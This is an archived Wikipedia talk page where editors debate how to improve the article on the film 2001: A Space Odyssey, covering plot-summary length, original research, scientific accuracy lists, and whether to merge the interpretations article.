* There's so much info we can source on this film that if we marshal the work properly I don't see why we can't get it all the way to FA down the track. For the moment, I agree the lead should be the regulation three paras. As I said before, the Production section is a bit short compared with other sections, especially Soundtrack - I keep promising to expand it and will complete before long. I also think that the Scientific Accuracy and Imagining the Future sections are too long and shouldn't be composed of lists - it looks too much like trivia. I tend to disagree about the shortfalls in citations, there's room for improvement but there's a lot there. Agree it should be peer reviewed. Cheers, Ian Rose 08:24, 22 August 2007 (UTC)
* Cheese 'n crackers, there are 40 references. When is "enough" attained? I think we can start taking out unreferenced statements. E.g. the "harkens back to silent movies" in Soundtrack. Not cited, it's outta there. Agree with the image complaint, the pic of Keir Dullea was added only recently, and ... not sure it's needed.... I think screen shots are needed for key, iconic images (the monolith, the star gate, HAL's eye) which had penetrated popular culture and are instantly recognizable. Beyond that, we don't need to be image happy, even though the film is a primarily visual experience. Go for it, Ian, I think the article has benefitted greatly from multiple dedicated editors keeping each other in check. Sailor, Jason, you guys too. - David Spalding ( ☎ ✉ ✍ ) 02:49, 24 August 2007 (UTC)
* Y'know, "Scientific accuracy" and "Imagining the future" could be combined, as the authentic flavor of the film and some of the props and set dressings were drawn from realistic proposals for actual space travel forecasts ... that authenticity was one of the film's big draws. It "felt" more real than the usual space operas that had come before. 10, 20 years later, I think people still looked to 2001 as a sort of very realistic look ahead. I agree, it's too "list-y" for WP; it needs to be rewritten as prose. As I've mentioned before, I don't like the "what 2001 didn't get right" section at all, and would expunge, as this ... is a film, not a documentary or crystal ball, and I don't for a minute think Kubrick was trying to say "this is what we'll have and what we won't have in 2001." He was telling a tale, a revival of the Iliad and the Odyssey in spacesuits and spacefaring ships, not trying to dramatize Popular Mechanics. The complaints that "we don't have a moonbase yet," are like saying, "Well in Star Trek, the 1990s were supposed to have Eugenics Wars, what happened?" or "In Clockwork Orange, Alex was listening to rich, high-bandwidth stereo on microcassettes, so Kubrick goofed on the prediction of Compact Discs." I think that section is like fanboy trivializing. David Spalding ( ☎ ✉ ✍ ) 03:33, 24 August 2007 (UTC)
* Yes, Dave, "Scientific accuracy" and "Imagining the future" combined, as well as shortened and delistified, is the way to go. Some of the items, especially in the 'didn't get right' part, are trivial in the extreme, incidental to the film as a whole, and hardly worth keeping. Cheers, Ian Rose 13:54, 24 August 2007 (UTC)
Production
Following on from comments above, begun expanding "Production" by adding a "Writing" subsection (could be retitled "Screenplay development" or "Writing and preproduction", etc, suggestions welcome). Envisage a similar length for "Filming" and "Special effects" so let me know now if this looks like too much detail - however I think if we cut down sections like "Scientific accuracy" and "Imagining the future" in favour of stuff like Production we'll have a better-balanced article - note the old "Influences" and "Outtakes" sections are now trimmed and merged there. BTW, I believe the "Soundtrack" section should logically come after Production - thoughts? Cheers, Ian Rose 17:35, 24 August 2007 (UTC)
* Sounds good. The guide that I've used in adding or excising anything to the article, is ... the film was groundbreaking and important in the annals of cinema for certain things. These things can be referenced easily. Examples include the narrative slowness, the use of sound (lack thereof), the mundane but paradoxical dialog, the lack of easy answers, the state of the art effects, use of classical music for a "space opera," etc. Those hallmarks are worth discussing in detail in the article, within reason. Things like "what the film got wrong," "differences between teh novel and the film," these aren't things that film critics and audiences continually respond to, and so are not as notable. ... 'Notability ... is the name of the game, IMHO. David Spalding ( ☎ ✉ ✍ ) 00:58, 27 August 2007 (UTC)
Spelling: US vs. UK conventions
I think I was chided a year or less back for changing from English-UK spellings to US spellings, as Kubrick was an American filmmaker, and the film was produced and released by a US firm, M-G-M. IIRC and I probably don't. ;) If you change any spellings from one convention to the other, please ensure that your change is consistent with the majority of the article. I know WP has a MOS for this, but don't know it off hand (and have too little time right this moment to find it). TIA! David Spalding ( ☎ ✉ ✍ ) 18:51, 29 August 2007 (UTC)
* WP:ENGVAR? Erik (talk • contrib) - 18:54, 29 August 2007 (UTC)
* Yep! David Spalding ( ☎ ✉ ✍ )
Section header change
I was considering adding spoiler tags, but instead I have changed a section header from "Plot" to "Plot Summary," as per the recommendations at WP:Spoiler:
"If a plot point has made significant penetration into popular culture, it is often no longer necessary to mark it off with spoiler tags."
"A section header such as "Plot Summary," "Detailed Summary," or "Synopsis" can be considered a de facto spoiler notice [...]."
"A section header such as "Plot" or "Overview" can be ambiguous as to the presence of detailed spoilers [...] consider changing the header to something clearer."
I trust this is acceptable. —Preceding unsigned comment added by <IP_ADDRESS> (talk) 19:23, 2 October 2007 (UTC)
Scientific accuracy
There had been a cleanup tag on the "Scientific accuracy" section for several months. Many of the quibbles listed there are commonplace, but only one is sourced. To encourage the process of sourcing these examples, I've removed all but the sourced example and added an incomplete-list tag. --Tony Sidaway 13:30, 19 October 2007 (UTC)
2001 and Childhood's End a purposefully obscured connection?
You know the documentaries on Stanley Kubrick - Warner Home Video Directors Series 2001 Disk 2 got me to thinking. Very few SF writers are interviewed. Well Clarke is there, being a little coy some of the time.
Anyway that Big Question about what the hell is the film and ending about comes up many times. (I mean aside from the other major story line about HAL, which actually ties to the film's base story.) Some blah blah about it occurs.
I am sure this must be a cliché discussion by this late date. Let me beat a dead horse again!
When I saw 2001 in April of 1968 I had been reading SF since 1952, 16 years. I knew about the H.G. Wells /Olaf Stapleton connection to Clarke and of course had read CHILDHOODS END. It struck me first when Heywood Floyd first stroked the Monolith on the Moon, "heck, this is some kind of abstract re-interpretation' of BIG THINKS about advanced alien civilizations by way of Clarke's Childhoods End. (I mean Clarke's "The Sentinel" is really only a hook to hang the Monolith on.)
The ending of the film nailed it for me. The monolith is a combo Karellen/Overmind/Rashaverak all super concentrated and contracted by Kubrick into the Star Child. It's an abstracted/précis non-literal translation of Childhood's end.
In "Lost Worlds" Clarke toys with all this alien civilization scenery that does not work, no wonder Kubrick was off put with that final draft (drafts).
Surely Kubrick must have read Clarke's Childhoods End and Wells, for sure, and maybe even Stapleton surely H.G.Wells. He and Clarke must have talked endlessly about Clarke's feelings about transcendent Super Advanced Interstellar Space spanning alien civilizations; I mean it's almost explicit with the Monoliths. An Instrumentality 'indistinguishable'!
Seems to me Kubrick, for all the talk about it, and some of the work done on it had likely given up on a literal presentation of the 'Monolith' civilization long before the film was finished.
Kubrick always remained somewhat mysterious about the story, ... well it is a super swift synthesis of all modern SF BIG THINKS ideas, and he just thought it best to leave it that way, have a little fun me thinks.
Maybe it was an unconsciensly obscured connection?
Al Jackson, November 7 2007 —Preceding unsigned comment added by Albert.a.jackson (talk • contribs) 16:52, 7 November 2007 (UTC)
* Unfortunately, such an observation is considered original research. If you can find coverage by reliable sources about this possible connection, that would be content verifiable for inclusion. Let me know if you have any questions about the understanding the difference between original research and verifiable content. —Erik (talk • contrib) - 16:03, 8 November 2007 (UTC)
In a way I agree, but having been a reader of Science Fiction for nearly 60 years now, and having discussed this idea with others knowledgeable of (and fans of) the film 2001, I don't think the idea is original with me. The connection of Kubrick's film to Childhood's End is almost self evident purely from reading the novel. The question is did Kubrick make use of an abstract narrative of the ending of Childhood's End to solve his problems with the ending of 2001! If so it is a brilliant construct. (There is some speculation in John Huntington's article at http://www.depauw.edu/sfs/backissues/3/huntington3art.htm). I would like to know if Clarke ever spoke to this issue, he probably did and I can not remember it. I think that it is an issue important to the Interpertation section of the entry for this film. Would like to hear more thoughts on it. Albert.a.jackson 10 ovember 2007
* From what I can tell, there are recurring themes in Clarke's writings. However, considering that this is a film adaptation of the novel, it cannot be extracted from that article that Kubrick connected his film to Childhood's End. That article would be completely appropriate for describing themes in both the 2001 novel and Childhood's End, but it does not talk about Kubrick's approach in the film. You may want to take a look here -- there are numerous articles about the film itself available. Perhaps a reference to Childhood's End is among them. Let me know if you have any questions about researching these articles! —Erik (talk • contrib) - 16:40, 10 November 2007 (UTC)
An interesting reference site ... I have read some of the prose sources there, will need to look at some others it seems.
One correction, is it not common knowledge that the film 2001 is not an adaptation of Clarke's novel? The novel and film were created in parallel. In fact this caused Clarke some problems in finishing the novel since he left production before Kubrick finished the film ""The Lost Worlds of 2001"".
(Er.. why is this discussion now listed under a heading of 'scientific accurary' when it has to do with interpertation?)
By the by seems the Scientific Accuracy section in the main article needs some serious expanding.
Albert.a.jackson 10 November 2007 —Preceding unsigned comment added by Aajacksoniv (talk • contribs) 23:01, 10 November 2007 (UTC)
* The adaptation of the source material into a film will not always be thematically consistent. Here's an example: Ray Bradbury, the author of Fahrenheit 451 intended to show the alienation of people by media. However, the attached director for a proposed film, Frank Darabont, has politicized the theme, as seen here. The same thing can be said for Children of Men, which is the director's contemporary re-interpretation of The Children of Men. I understand that the parallels may seem obvious to you, but the readership will not always be familiar with the background. From what I've seen, the film 2001 is more celebrated as a Kubrick film than a Clarke film. That's why I encourage trying to track down a reliable source that describes connections to Childhood's End. —Erik (talk • contrib) - 23:12, 10 November 2007 (UTC)
Not sure I understand the first sentence in this reply. To be sure the film is indeed Kubrick's, but the Clarke-Kubrick interaction is "explicit" in the material Clarke has written about the collaboration , I did cite
""The Lost Worlds of 2001"".
And it is, as far as I can tell, 'thematically consistent'.
I notice now, in my reply ,in context, I should have referenced the main article, 2001: A Space Odyssey (film), the section 3.1 Writing, as related to the question of 'thematically consistent'. Pretty much explained there. My mistake!
Albert.a.jackson 11 November 2007 —Preceding unsigned comment added by Aajacksoniv (talk • contribs) 15:37, 12 November 2007 (UTC)
A simple question .....have you read Childhood's End?
Albert.a.jackson 10 November 2007 —Preceding unsigned comment added by Aajacksoniv (talk • contribs) 23:01, 10 November 2007 (UTC)
* I haven't read Childhood's End. If The Lost Worlds of 2001 talks about the connection between Childhood's End and the film, you can include it in the article using the Cite book template with the respective page numbers. —Erik (talk • contrib) - 01:32, 11 November 2007 (UTC)
Spacecraft articles
I have just went through the various articles about the spacecraft of the Space Odyssey series. They are:
Discovery One - former article; apparently deleted because of "copyright problems" EVA Pod Leonov (fictional spacecraft) Orion III spaceplane Aries Ib Space Station V Moonbus (2001 A Space Odyssey)
There was a lot of bogus information that was lacking a source (other than one fansite on a couple of them). I have deleted such information. Now, there is very little in each article. I suggest creating a new article such as Spacecraft of the Space Odyssey Series which lists information about all spacecraft from both films and all four books. Andy120290 (talk) 01:32, 18 November 2007 (UTC)
* Nice work deleting that fan nonsense. Sounds like a good idea to merge them into one. Cop 663 (talk) 02:11, 18 November 2007 (UTC)
* I have created the new article titled Spacecraft of the Space Odyssey Series. It is not much right now (I only have had the chance to start it right now). It needs a lot more information before it can replace the articles we currently have on the spacecraft. Much help would be appreaciated. Andy120290 (talk) 01:39, 24 November 2007 (UTC)
Clear intent
The article mentions that Kubrick "clearly intended" the dialogs to have some meaning... I'm not quite sure we can know if a director "clearly intended" something like that. I need a reference... —Preceding unsigned comment added by Nwerneck (talk • contribs) 02:07, 20 December 2007 (UTC)
Suggestions
These are just preliminary suggestions if there are editors interested in making this a good article. If you have any inquiries about my suggestions, feel free to comment here. I can also comment on existing content. —Erik (talk • contrib) - 03:15, 27 August 2007 (UTC)
* Rename Synopsis to Plot and reduce section per WP:MOSFILMS. It is too overly detailed.
* The Cast section should be revised to have real-world context. I would highly suggest writing in prose and excluding all the minor roles. Write about how these actors were chosen, how they approached their roles, how it shaped their career afterward, et cetera.
* Create an overall Awards section and either write the different recognitions in prose, or place all award-related content into a nicer table. There is unnecessary bias in giving "Academy Awards" its own subsection. Also, some recognitions, like the Laurel Awards, may be considered "reaching" in terms of mentions.
* Interpretations should not have been spun off but instead deleted. The present article is in terrible shape, and it should redirect to the main article with a cleaner Interpretations section using sources like these.
* Remove all originally contributed content from "Scientific accuracy" and "Imagining the future" and merge content from reliable sources into Production. The entries are too trivial for inclusion; notable examples would be covered by reliable sources. Editors should not indiscriminately add what they judge to be encyclopedic content.
* In "Sequels and offshoots", change the list of three entries into prose.
* Thanks, Erik. "Casting" was another subsection under Production that I was considering so I'm happy to put some info in there along the lines you've noted. I think we're getting consensus on "Scientific accuracy" and "Imagining the future" so I suggest someone like yourself or David work on that while I continue expanding Production. Tend to agree re. the other points you've raised also. Re. awards, does anyone really think the Kansas City film critics one belongs in the intro? No disrespect to Kansas City but it's not Cannes... Cheers, Ian Rose 08:15, 27 August 2007 (UTC)
* I think that violating Wikipedia's no original research policy trumps consensus in this case. My problem with these two sections is that the lists of entries are originally contributed. "The gravity in Clavius moon base appears to be that of Earth rather than the Moon." -- "appears to be" is definitely interpretative and not verifiable. There is enough encyclopedic content from books and academic studies not to depend on originally conceived lists. —Erik (talk • contrib) - 11:51, 27 August 2007 (UTC)
* Ah, whatever the motivations, I think we're in violent agreement. Something fairly dramatic needs to be done about those sections - that's the consensus. My suggestion to you is be bold and combine/trim/rewrite those sections as discussed above. Cheers, Ian Rose 12:13, 27 August 2007 (UTC)
* *Rename Synopsis to Plot and reduce section per WP:MOSFILMS. It is too overly detailed. I don't think we're going to win this one. We've had some pretty intense editing of the synopsis, and it's about as brief as it's going to get without removing details which keep it understandable, and relevant. As a regular contributor to the WikiProject Films, my perspective that 400-700 words is an ideal benchmark, but for some films (e.g. Lawrence of Arabia), a longer description is warranted. David Spalding ( ☎ ✉ ✍ ) 18:47, 29 August 2007 (UTC)
* The word count is 1,286. That is far too long, even for a film like this. I'll have to watch the film again, but I can see places where it needs to be shortened:
* "A Pan Am spaceplane docks to an Earth-orbital space station. The shuttle carries only one passenger, Dr. Heywood R. Floyd (William Sylvester). After arriving at the station, Floyd meets a group of Soviet scientists, including an old friend."
* Rewrite as: "Dr. Heywood R. Floyd (William Sylvester) meets a group of Soviet scientists, including an old friend, on an Earth-orbital space station."
* This kind of summarization can be applied throughout; the ending is more of a challenge -- who says it's a "Louis XVI-style room"? "...seemingly transformed into a fetus-like being" -- seemingly to whom? —Erik (talk • contrib) - 18:53, 29 August 2007 (UTC)
* I've trimmed it to 1151, so admittedly, it's not impossible to slice off a few words. I still don't think it is "far too long." This is one of the more important films of the 20th Century, and if the other sections refer to things that aren't even mentioned in an overly-short plot section, the reader may be confused. ... The WikiProject Film style guidelines are guidelines, not hard and fast pass/fail rules IMHO. -- Agreed, the "room at the end"'s appearance ought to be cited, and I'm pretty sure Agel or another reference can be used. citation needed tag added. David Spalding ( ☎ ✉ ✍ ) 20:56, 29 August 2007 (UTC)
I have a two part suggestion. #1) Follow the text of "The scientists gather around it for a group photo but are interrupted when a continuous high-pitched tone is picked up by their radio receivers.", with a statement similar to "For a moment, a view of a satelite passing-by is shown to signify that a high energy disturbance in deep space had been detected. A techician some time later, correlating the time of the event on the Moon and the disturbance discovered that an energy beam had been sent directly to the Saturn moon of Iapetus.". #2) At this point to be able to jump to a new catagory of "Related Scientific Developements", with a sub-catagory "Iapetus". In 2003 we did a fly-by with the Cassini Space probe. Here are 2 descriptive links: from NASA, a detailed commentary. NASA: Moons - Iapetus, http://saturn.jpl.nasa.gov/science/moons/moonDetails.cfm?pageID=7; A Moon with a View, http://www.enterprisemission.com/moon1.htm; <IP_ADDRESS> (talk) 23:59, 1 January 2008 (UTC)Viktor, 2008 Jan 01, 18:40
* Nice thought but if we're talking about Saturn and Iapetus, that's related to the novel, not the film. In the film the beam is aimed at Jupiter so the Iapetus connection isn't relevant in this article. Cheers, Ian Rose (talk) 00:14, 2 January 2008 (UTC)
Note removal
* Though the crew quarters in the spaceship Discovery are arranged in a rotating wheel to simulate gravity, the wheel's short radius would require many RPM (5-10 RPM, depending on the actual radius) to produce Earth-like gravity. In the film, the centrifuge rotates at about 3 RPM (once every 20 seconds).
I removed the above section because it is based on Bowman running around the inside of the wheel. The wheel might very well be spinning at higher RPMs - that does not mean that Bowman would run at the same place. From the perspective of inside the wheel, there is no apparent movement - so Bowman's running pace can be whatever he likes. —Preceding unsigned comment added by <IP_ADDRESS> (talk) 05:17, 11 September 2007 (UTC)
* Except, of course, it ain't Bowman doing the running. It's Frank Poole!68Kustom (talk) 09:54, 16 February 2008 (UTC)
Failed Predictions
Other failed predictions of the film:
* The American astronauts seen onscreen are all male Caucasians. In reality, by the year 2001, US astronauts included men and women of various ethnicities.
* Point taken, but ... In 2001, we see just two lead astronaut characters (and three in hibernation, with a few others here and there). Shuttle/Soyuz/ISS crews today are still mostly "male Caucasians," although yes, there is more balanced representation. 68Kustom (talk) 10:19, 16 February 2008 (UTC)
* Neckties have disappeared, replaced by turtlenecks. You know that did not happen. Erudil 15:55, 25 September 2007 (UTC)
Technical Content and Spacecraft Design References for the 2001
F.I. Ordway, 2001: A Space Odyssey, Spaceflight, Vol. 12, No. 3, Mar. 1970, pp. 110-117. (Publisher: The British Interplanetary Society)
Realizing 2001: A Space Odyssey: Piloted Spherical Torus Nuclear Fusion Propulsion NASA/TM-2005-213559 March 2005 AIAA-2001-3805
F.I. Ordway, '''Part B: 2001: A SPACE ODYSSEY IN RETROSPECT, Frederick I Ordway, III Volume 5, American Astronautical Society History Series SCIENCE FICTION AND SPACE FUTURES: PAST AND PRESENT, Edited by Eugene M. Emme, 1982, pages 47 - 105. (ISBN 0-87703-172-X) (ISBN 0-87703-173-8). A detailed account of development and filming of 2001: A Space Odyssey by its technical adviser.'''
Jack Hagerty and Jon C. Rogers, Spaceship Handbook: Rocket and Spacecraft Designs of the 20th Century, ARA Press,Published 2001, pages 322-351, ISBN 097076040X. —Preceding unsigned comment added by Aajacksoniv (talk • contribs) 12:08, 12 January 2008 (UTC)
Interpretation: relation to novel version by Clarke
I believe the novel by Clarke casts important light on the interpretation of the movie. I have put in some text to this effect into the Interpretation section. If this is problematic, let me know. Thanks! Wwheaton (talk) 07:22, 15 January 2008 (UTC)
* It is a problem. Please see the page No original research for further information. You need to find sources that confirm your own thoughts. Mighty Antar (talk) 14:15, 15 January 2008 (UTC)
* Why is not my reference to Clarke's novel (which has extensive explanation that could not be fitted into a movie of reasonable length) sufficient? Surely Clarke himself is a reliable source! I could of course go through the novel and quote directly from it, but this seems more like original research than what I have already written. Would it be acceptable to simply point out that the novel is relevant to the interpretation of the film? And if so, to summarize the explanation given therein?
* Sorry for being dense, but I don't quite get it. Cheers, Wwheaton (talk) 23:42, 15 January 2008 (UTC)
* Principally because you need to show that it is not only your opinion that Clarke's book is a clarified interpretation of the film's story, but also that this was the opinion of Kubrick. Only Kubrick really knew what he wanted the film to convey and given how obsessed he was with the detail of it, it is difficult to see why he would make the ending quite so ambigious unless that very ambiguity was precisely what he wanted. Mighty Antar (talk) 02:08, 16 January 2008 (UTC)
To some extent Kubrick does address this in An Interview with Stanley Kubrick (1969) by Joseph Gelmis The Film Director as Superstar" (Doubleday and Company: Garden City, New York) Copyright ©1970 Joseph Gelmis. I notice this interview not referenced on the main page. aajacksoniv
After mighty labors by Dreadstar & others, there is now an expanded and rewritten article on the interpretation of the film, which I personally think is at least substantially better than either the interpretation section here or the old separate article on the subject. Due to a contentious history it has been locked for a while, but comments, suggestions, and constructive criticism would be useful on the talk page, as a step towards reaching consensus. Bill Wwheaton (talk) 20:45, 11 February 2008 (UTC)
Merge
Just checking to see if anyone thinks Interpretations of 2001: A Space Odyssey should be merged back to its original location in this article. I don't think it should be but, the suggestion has been made..so...just checking... Dreadstar † 19:26, 13 February 2008 (UTC)
* Just because of length and to keep the focus of both parts, I now favor maintaining the separation. The film is obviously notable, and its article is currently rated at the highest level of importance/priority. Yet the meaning, or lack thereof, of this particular film is arguably a significant part of its value. If it were pure entertainment, it would still be a stunning visual and musical work of art. Yet, speculative as it is, that it is based on rich strata of reasonably credible and viable contemporary thought, touching on fields as various as astronomy, astrobiology, paleo-anthropology, evolution, artificial intelligence, psychology and the theories of mind, philosophy, futurism, and comparative religion [well, I have to stop somewhere!] -- can only enhance its importance, and make it almost unique in popular culture. That so many viewers have left it feeling bewildered is clearly inevitable (and maybe even desirable, as Clarke suggests), but a solid article on meaning and interpretative issues is therefore all the more valuable, to nourish that curiosity in the naive viewer, and not just leave it to wither. Forty years later (a biblical "long time"!) is a great time to start.
* I feel passionately that it is very important to preserve this richness (and build on it in the future I hope) if the interpretation is merged into the article on the film, but a merge without much loss of content is at least conceivable for me, though not my first choice. Cheers, Bill Wwheaton (talk) 20:39, 13 February 2008 (UTC)
* No. It's too long. Cop 663 (talk) 21:08, 13 February 2008 (UTC) The article should not be merged because it's too long to be merged without unwarranted shortening. Cop 663 (talk) 13:03, 14 February 2008 (UTC)
* Am I right that you mean this article is too long to merge with the article on the film? At first I was confused and thought you meant the opposite (ie, that this article should be shortened and merged), but now I read it differently, so I guess I better check. Thanks, Bill Wwheaton (talk) 08:26, 14 February 2008 (UTC)
* Clarified. Cop 663 (talk) 13:02, 14 February 2008 (UTC)
Voyage/journey beyond the stars
Re recent discussion on Title section, the following is from ACC's "Lost Worlds of 2001", book of 1972. I have not see my copy in years, but it is quoted on "The Kubrick Site: Clarke's 2001 Diary (excerpts)" :
* "The announced title of the project, when Stanley gave his intentions to the press, was Journey Beyond the Stars. I never liked this, because there had been far too many science-fictional journeys and voyages. (Indeed, the innerspace epic Fantastic Voyage, featuring Raquel Welch and a supporting cast of ten thousand blood corpuscles, was also going into production about this time)."
I guess I think it might better go in the Writing subsection of Production. Cheers, Wwheaton (talk) 20:40, 17 February 2008 (UTC)
Boring
I just watched this movie and I find it hard to believe this piece of garbage won awards. It was boring, and any movie that needed to be explained failed —Preceding unsigned comment added by <IP_ADDRESS> (talk) 20:14, 1 October 2008 (UTC)
Well, first of all this page is really for comments about the article about the movie rather than about the movie itself. But, while we're here, let it be noted that 2001 has suffered more from transition from big screen to small than just about any film in history. In Cinerama (the '60s version of IMAX) many found it enigmatic but few found it boring. This is one of my favorite films, but on a medium to small TV set it probably is fairly boring.
The film is intended to be mysterious, but just as much in the sense of inspiring awe as inspiring bafflement.
I can introduce you to a few folks who find it hard to believe it won so few awards. It wasn't nominated at all for best picture.
--WickerGuy (talk) 00:19, 2 October 2008 (UTC)
"The critics loved it, the critics hated it." Nuff said. This film is a think film, not a park your bain outside film. My best friend is of the opion that 2001 is the worst SF film he ever saw. The reason s he considers it the worst are the reasons I consider it to be my favourite film of all. To each his own.; --Jason Palpatine (talk) 00:05, 25 October 2008 (UTC)
Time to Revert to the Earlier Plot Text?
IMHO, the newly tightened and rewritten plot entered on 8/18/08 is highly inferior to its predecessor. The writers of the new plot have walked in in the middle of the picture (so to speak) and ignored the rules of the road that have long been followed by most of us attempting to cultivate this entry (see the archived discussions).
Some of the broad problems:
* The story line is now too truncated, particularly the opening.
* The new prose is startlingly lame in many spots:
* "Floyd then leaves the space station for Clavius in a different ship."
* (BTW, if you're editing to tighten, why would you change "on a lunar shuttle" to "in a different ship", which is one character longer?)
* The text has been so tightened it now omits certain key points.
* The text lacks precision to the point that it introduces mistakes.
* Introduction of information not knowable solely from viewing the film.
* Introduction of info from the novel.
* Introduction of subjective, interpretive, unsourced supposition as fact.
* Re-introduction of soundtrack references, which were deleted by previous agreement.
Other nits simply annoy:
* 'Soviets' changed to 'Russians' -- this was hashed out long ago, and the consensus was that Soviets better reflected the director's intent.
* Inexplicable forward references:
* "We eventually are brought to an elderly and dying Dave Bowman lying on THE BED" (emphasis added)
* -- Huh? What bed?
The old plot was simply a much better read. I vote for a revert. What say ye all?
Sailorlula (talk) 21:04, 23 August 2008 (UTC)
* I also vote for a revert. I agree with most of your points but to me the main problem of the current version is what you refer to as "the startlingly lame" prose. I recently attempted to remove interpretive/critical commentary and the music references, but many of my changes seem to have been reverted.-Hal Raglan (talk) 19:09, 24 August 2008 (UTC)
* Sailorlula has hit on all the probs - a third vote for reversion to the earlier version. Cheers, Ian Rose (talk) 12:01, 25 August 2008 (UTC)
As the chief author of the shortened revision, I'll go with group consensus and bow out, unless we feel the new version can be sufficiently massaged.
Some two cents in my defense. I both undid Hal Reglan's changes, and then re-instated about half of them in a different style that I felt kept continuity better. So far, most revisions to my version seem to create as many problems as they solve (introducing more serious discontinuities and inaccuracies). If this is due to my version being just too intractable to work with, then it SHOULD be reverted, but if it is due to the new revisions being hastily done, then possibly the current one could be worked over more thoroughly. (I quite agree that my prose is stilted and stiff, but I also feel subsequent revisions were poorly applied bandages. See comment at bottom of this page for an example.) Currently, the only soundtrack reference is the opening sentence with a footnote linking to the soundtrack version. All further soundtrack references were ditched. Sorry, had no idea there was a Soviets/Russians issue.
BTW, IMO a very very brief allusion elaborated mostly in a footnote to the possibility that the satellite is a nuclear weapon ought to be in the article given that there are both visual clues (cannons, nuclear logos, flags of multiple coutries) to this effect and it is overtly mentioned by actor Frank Poole in the commentary on the DVD release in October, 2007 (not to mention Jerome Agel's book "Making of 2001"). Or else, mention it in the section "Interpretations of 2001"!! Hopefully, this covers all issues re objections Beyond that, I'm not sure what constitutes a specific example of "Introduction of subjective, interpretive, unsourced supposition as fact." Did I introduce "mistakes" or just leave it open to very misleading interpretation? You can leave a message on my talk page or here.
* 1) Introduction of information not knowable solely from viewing the film.
* 2) Introduction of info from the novel.
At any rate, the question is really whether the new version is repairable or not? If you decide it is, please re-instate "moon shuttle", "Soviets" and such and try to get it more focused in areas where it is just way too vague to the point of being open to mistaken interpretation. Otherwise, just revert.
Also, as I noted in my previous message on this page, the Wiki guideline of plot summary being 300 to 500 words ought to be upped to 700, IMO.
--WickerGuy (talk) 13:05, 4 September 2008 (UTC)
Did very trivial fixes. "Soviets" rather than Russians. "room" to "bedroom". "moonshuttle". Obviously, these don't address the larger issues.
--WickerGuy (talk) 13:15, 4 September 2008 (UTC)
Afterthought. My broad purpose was to keep the plot summary short and simple. Obviously, in attempting this, I introduced a prose style that was stilted and stiff, as well as lacking in clarity, and possibly omitting key pivotal points. Brevity may not always be the soul of wit. SHould I attempt something like this again, I'll take a bit more time with the process.
--WickerGuy (talk) 13:30, 4 September 2008 (UTC)
I've made a rough revision attempting to address the most obvious stylistic problems. It may still have more gaps/lacunae than others like. Generally, in places where transitions were not clear, I tried to insert the appropriate information bridging or 'hooking' one incident to that following. At this point I leave it in the hands of Sailorlula, Reglan, et al. pending further communications.
--WickerGuy (talk) 14:17, 4 September 2008 (UTC)
Another rework. I have fleshed out the plot synopsis to include place descriptions in areas where their absence leads to a lack of clarity. Including captions of pictures, the plot synopsis has now gone up to 1224 words. It is now midway between the length it was at when I reworked it (over 1400 words) and my initial revision (just under 1000). (It's fairly obvious there is a danger in writing a synopsis of a movie you have seen 20 times.)
--WickerGuy (talk) 19:49, 5 September 2008 (UTC)
Kudos to Maury Markowitz
Maury Markowitz is the first person to significantly modify my 8/18/08 (and heavily overhauled and reworked on 09/04 and 09/05) revision of the plot that I think really really works and improves it without introducing more obvious inaccuracies and forward references, and which I have not the slightest impulse to revert. Hopefully, with Mr. Markowitz's good work, there will not be a need to revert to the pre-August version.
The plot prior to my editing it on 8/18 was 1410 words. My excessively truncated 08/18 revision was just under 1000. My Sept. 5th overhaul was at 1224 words due to my restoring both scene transitions and scene setups and my clearing up material that was vague in response to the criticisms in this section of the talk page. Now it is up to 1296 words (including picture captions), mostly due to Maury restoring the Clavius cover story about the epidemic, a plot point which I had originally elected to omit.
One modest complaint about wikipedia software. It seems that if you introduce paragraph breaks into a text that were not previously there, then the "diff" function on the history pages for comparing versions starts reporting more differences than are really there, since it seems to be doing version comparison on a paragraph-by-paragraph basis. Thus a superficial look at the software report on the difference makes the text look like it has been altered far more than it really has been, just because one paragraph was split into two. Maybe there's a good reason for this, and it really is a feature and not a bug. If not, it's probably not a high priority of wikipedia to modify the software, so that a new paragraph break gets reported as a minor difference. But I thought I would make a note of it.
--WickerGuy (talk) 08:48, 7 September 2008 (UTC)
Photographing the Monolith (2)
* The scientists gather around it for a group photo but are interrupted when a continuous high-pitched tone is picked up by their radio receivers.
G'lawd! What a banal way to describe a pivotal 'discovery'. Am I really remembering it so differently? That this was the first moment at which sunlight touched the monolith buried so long ago. That is, the moment when the monolith confirms that it has been purposefully unburied, and not by apes. So is the lack of mention in the article due to 'spoiler' concerns? Shenme (talk) 03:15, 27 February 2008 (UTC)
* Well, yes, it has been flattened a bit, has it not? Up until the great screech, it is banal, humorously so, like Great White Hunters gathering while one puts his foot on the neck of a dead trophy just shot. It doesn't quite work geometrically that the Earth, Sun, and monolith align almost vertically just at the instant the sunlight first touches the monolith, but still, but let's not quibble. It was a great moment. Straight out of that older one in The Sentinal. Somebody should jazz it up, I agree. Wwheaton (talk) 04:25, 27 February 2008 (UTC)
Soviet Union
I suggest that the section of the article that gives examples of predictions of 2001 that have come to pass be stripped of the "continued existence of the Soviet Union" claim.<IP_ADDRESS> (talk) 22:02, 13 April 2008 (UTC)
* This was already hashed out long ago -- see the archived discussions. The consensus was that Kubrick did not anticipate the breakup of the Soviet Union (note the Russians' Aeroflot flight bags which include the hammer and sickle) and intended to show continued tension between the US and USSR. The reference was also kept in to help point out the tension to younger viewers who could easily be clueless.
* Regards, Sailorlula (talk) 11:07, 27 June 2008 (UTC)
Clarke didn't like it
James Randi recalls Clarke himself was disappointed with the movie. Listen here. Maybe this is something that would improve the article? You decide, I'm just a visitor. –TS —Preceding unsigned comment added by <IP_ADDRESS> (talk) 14:46, 25 April 2008 (UTC)
That is interesting. Clarke could be quite coy, in other references , especially a lot of his written material, he never really expresses a real disagreement with Kubrick's film narrative. He does not complain, as Ordway has, that the narrative voice over should have been kept. This is in fact the only instance I know of Clarke ever expressing a disappointment, would take it with a grain of salt. (Al Jackson) (talk • contribs) April 28 2008 —Preceding unsigned comment added by Aajacksoniv (talk • contribs) 11:34, 28 April 2008 (UTC)
Further looking shows that Clarke must have become very quickly reconciled to Kubrick version of the story, his only gripe being Kubrick's delay in the appearance of the novel.Aajacksoniv —Preceding comment was added at 01:54, 29 April 2008 (UTC)
Clark has been interviewed many times about the film. There was even a broadcast of an nexcerpt on TCM yesterday. I do not recall any ocasion when he expressed dissatisfaction with the movie. --Jason Palpatine (talk) 00:08, 25 October 2008 (UTC)
Courtesy
